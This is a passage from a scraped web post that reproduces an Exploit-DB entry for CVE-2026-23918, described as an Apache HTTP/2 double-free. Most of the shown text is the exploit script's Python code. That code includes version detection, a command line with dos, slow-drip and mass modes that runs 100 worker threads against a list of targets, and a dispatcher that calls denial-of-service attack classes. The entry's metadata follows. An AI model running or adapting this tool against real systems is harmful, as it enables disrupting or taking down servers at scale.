b\\”https\\”),\\r\\n (b\\”:authority\\”, target.encode()),\\r\\n (b\\”:path\\”, b\\”\/\\”),\\r\\n ],\\r\\n )\\r\\n conn.end_stream(stream_id)\\r\\n sock.sendall(conn.data_to_send())\\r\\n\\r\\n # Receive response\\r\\n data = sock.recv(8192)\\r\\n if data:\\r\\n events = conn.receive_data(data)\\r\\n for event in events:\\r\\n if isinstance(event, h2.events.ResponseReceived):\\r\\n for name, value in event.headers:\\r\\n header_name = name.decode(\\”utf-8\\”, errors=\\”replace\\”).lower()\\r\\n header_value = value.decode(\\”utf-8\\”, errors=\\”replace\\”)\\r\\n if header_name == \\”server\\”:\\r\\n result[\\”server_header\\”] = header_value\\r\\n # Try to extract Apache version\\r\\n if \\”apache\\” in header_value.lower():\\r\\n parts = header_value.split(\\”\/\\”)\\r\\n if len(parts) \\u003e 1:\\r\\n result[\\”apache_version\\”] = (\\r\\n parts[-1].strip().split()[0]\\r\\n )\\r\\n except Exception as e:\\r\\n result[\\”notes\\”].append(f\\”Error during detection: {e}\\”)\\r\\n\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n # Analyze vulnerability status\\r\\n if result[\\”apache_version\\”]:\\r\\n # Apache 2.4.66 is the affected version per CVE record\\r\\n if result[\\”apache_version\\”] == \\”2.4.66\\”:\\r\\n result[\\”likely_vulnerable\\”] = True\\r\\n result[\\”cve_applicable\\”] = True\\r\\n result[\\”notes\\”].append(\\”Apache 2.4.66 detected – VULNERABLE to CVE-2026-23918\\”)\\r\\n else:\\r\\n try:\\r\\n # Parse version for comparison\\r\\n version_parts = result[\\”apache_version\\”].split(\\”.\\”)\\r\\n if len(version_parts) \\u003e= 3:\\r\\n major, minor, patch = (\\r\\n int(version_parts[0]),\\r\\n int(version_parts[1]),\\r\\n int(version_parts[2]),\\r\\n )\\r\\n if (major, minor, patch) \\u003e= (2, 4, 67):\\r\\n result[\\”notes\\”].append(\\r\\n f\\”Apache {result[‘apache_version’]} – PATCHED (\\u003e= 2.4.67)\\”\\r\\n )\\r\\n elif (major, minor, patch) \\u003c (2, 4, 66):\\r\\n result[\\”notes\\”].append(\\r\\n f\\”Apache {result[‘apache_version’]} – outside confirmed CVE range (\\u003c 2.4.66)\\”\\r\\n )\\r\\n else:\\r\\n result[\\”cve_applicable\\”] = True\\r\\n result[\\”likely_vulnerable\\”] = True\\r\\n except (ValueError, IndexError):\\r\\n result[\\”notes\\”].append(\\”Could not parse version string\\”)\\r\\n elif result[\\”http2_supported\\”]:\\r\\n result[\\”notes\\”].append(\\r\\n \\”HTTP\/2 supported but version unknown – manual verification needed\\”\\r\\n )\\r\\n result[\\”cve_applicable\\”] = True # Potentially vulnerable\\r\\n\\r\\n if json_output:\\r\\n print(json.dumps(result, indent=2))\\r\\n else:\\r\\n print_banner(\\”Vulnerability Scan Report\\”, Color.BOLD)\\r\\n print(f\\”Target : {result[‘target’]}\\”)\\r\\n print(f\\”H2 : {‘Supported’ if result[‘http2_supported’] else ‘Not found’}\\”)\\r\\n print(f\\”Server : {result[‘server_header’] or ‘Unknown’}\\”)\\r\\n print(f\\”Apache : {result[‘apache_version’] or ‘Unknown’}\\”)\\r\\n \\r\\n status = c(\\”LIKELY VULNERABLE\\”, Color.RED + Color.BOLD) if result[‘likely_vulnerable’] else c(\\”Likely safe\\”, Color.GREEN)\\r\\n print(f\\”Status : {status}\\”)\\r\\n \\r\\n if result[\\”notes\\”]:\\r\\n print(f\\”Notes :\\”)\\r\\n for note in result[\\”notes\\”]:\\r\\n print(f\\” – {note}\\”)\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n\\r\\n return result\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Signal Handling\\r\\n# —————————————————————————\\r\\ndef signal_handler(sig: int, frame) -\\u003e None:\\r\\n \\”\\”\\”Handle interrupt signals for a clean exit.\\”\\”\\”\\r\\n print(c(\\”\\\\n[!] Received interrupt – shutting down…\\”, Color.YELLOW))\\r\\n sys.exit(0)\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Main Entry Point\\r\\n# —————————————————————————\\r\\ndef main() -\\u003e None:\\r\\n parser = argparse.ArgumentParser(\\r\\n description=\\”CVE-2026-23918 – Apache HTTP\/2 Double-Free Exploit\\”,\\r\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\r\\n epilog=\\”\\”\\”\\r\\nExamples:\\r\\n %(prog)s –target 192.168.1.100 –port 8443 –mode dos\\r\\n %(prog)s –target example.com –mode rce-detect\\r\\n %(prog)s –targets targets.txt –mode mass –duration 30\\r\\n %(prog)s –target 10.0.0.50 –mode slow-drip -w 5 -i 3 -d 60\\r\\n \\”\\”\\”,\\r\\n )\\r\\n\\r\\n parser.add_argument(\\r\\n \\”–target\\”, \\”-t\\”, help=\\”Target IP or hostname\\”\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–port\\”, \\”-p\\”, type=int, default=443, help=\\”Target port (default: 443)\\”\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–mode\\”,\\r\\n \\”-m\\”,\\r\\n choices=[\\”dos\\”, \\”slow-drip\\”, \\”mass\\”, \\”rce-detect\\”],\\r\\n default=\\”dos\\”,\\r\\n help=\\”Exploit mode (default: dos)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–targets\\”,\\r\\n \\”-T\\”,\\r\\n help=\\”File with target list for mass mode (format: host:port per line)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–workers\\”,\\r\\n \\”-w\\”,\\r\\n type=int,\\r\\n default=100,\\r\\n help=\\”Number of concurrent worker threads (default: 100)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–intensity\\”,\\r\\n \\”-i\\”,\\r\\n type=int,\\r\\n default=7,\\r\\n help=\\”Attack intensity 1-10 (default: 7)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–duration\\”,\\r\\n \\”-d\\”,\\r\\n type=int,\\r\\n default=30,\\r\\n help=\\”Attack duration in minutes for slow-drip\/mass modes (default: 30)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–timeout\\”,\\r\\n type=float,\\r\\n default=5.0,\\r\\n help=\\”Connection timeout in seconds (default: 5)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–no-ssl\\”,\\r\\n action=\\”store_true\\”,\\r\\n help=\\”Use plaintext HTTP\/2 (h2c) instead of HTTPS (h2)\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–verbose\\”, \\”-v\\”, action=\\”store_true\\”, help=\\”Verbose output\\”\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–json\\”, action=\\”store_true\\”, dest=\\”json_output\\”, help=\\”JSON output format\\”\\r\\n )\\r\\n\\r\\n args = parser.parse_args()\\r\\n\\r\\n # Validate arguments\\r\\n if args.mode in (\\”dos\\”, \\”slow-drip\\”, \\”rce-detect\\”) and not args.target:\\r\\n parser.error(f\\”–target is required for mode ‘{args.mode}’\\”)\\r\\n if args.mode == \\”mass\\” and not args.targets:\\r\\n parser.error(\\”–targets file is required for mass mode\\”)\\r\\n\\r\\n use_ssl = not args.no_ssl\\r\\n\\r\\n # Register signal handlers for clean exit\\r\\n signal.signal(signal.SIGINT, signal_handler)\\r\\n signal.signal(signal.SIGTERM, signal_handler)\\r\\n\\r\\n # Dispatch to selected mode\\r\\n try:\\r\\n if args.mode == \\”dos\\”:\\r\\n exploit = RapidRSTDoS(\\r\\n target=args.target,\\r\\n port=args.port,\\r\\n workers=args.workers,\\r\\n intensity=args.intensity,\\r\\n use_ssl=use_ssl,\\r\\n timeout=args.timeout,\\r\\n verbose=args.verbose,\\r\\n json_output=args.json_output,\\r\\n )\\r\\n exploit.run()\\r\\n\\r\\n elif args.mode == \\”slow-drip\\”:\\r\\n exploit = SlowDripDoS(\\r\\n target=args.target,\\r\\n port=args.port,\\r\\n workers=args.workers,\\r\\n intensity=args.intensity,\\r\\n duration_minutes=args.duration,\\r\\n use_ssl=use_ssl,\\r\\n timeout=args.timeout,\\r\\n json_output=args.json_output,\\r\\n )\\r\\n exploit.run()\\r\\n\\r\\n elif args.mode == \\”mass\\”:\\r\\n exploit = MassDoS(\\r\\n targets_file=args.targets,\\r\\n workers_per_target=args.workers,\\r\\n intensity=args.intensity,\\r\\n duration_minutes=args.duration,\\r\\n use_ssl=use_ssl,\\r\\n timeout=args.timeout,\\r\\n json_output=args.json_output,\\r\\n )\\r\\n exploit.run()\\r\\n\\r\\n elif args.mode == \\”rce-detect\\”:\\r\\n rce_detect(\\r\\n target=args.target,\\r\\n port=args.port,\\r\\n timeout=args.timeout,\\r\\n json_output=args.json_output,\\r\\n )\\r\\n\\r\\n except KeyboardInterrupt:\\r\\n print(c(\\”\\\\n[!] Interrupted by user.\\”, Color.YELLOW))\\r\\n sys.exit(0)\\r\\n except Exception as e:\\r\\n print(c(f\\”\\\\n[!] Fatal error: {e}\\”, Color.RED))\\r\\n sys.exit(1)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52577″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52577″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-26T15:27:57″,”description”:”Exploit Title: Apache HTTP Server 2.4.66 – ‘modhttp2’ Double-Free Denial of Service Google Dork: intext:\\”Apache\/2.4.66\\” \\”HTTP\/2\\” Date: 2026-05-06 Exploit Author: xeloxa https:\/\/github.com\/xeloxa\/ Vendor Homepage: https:\/\/httpd.apache.org\/…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-56930","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n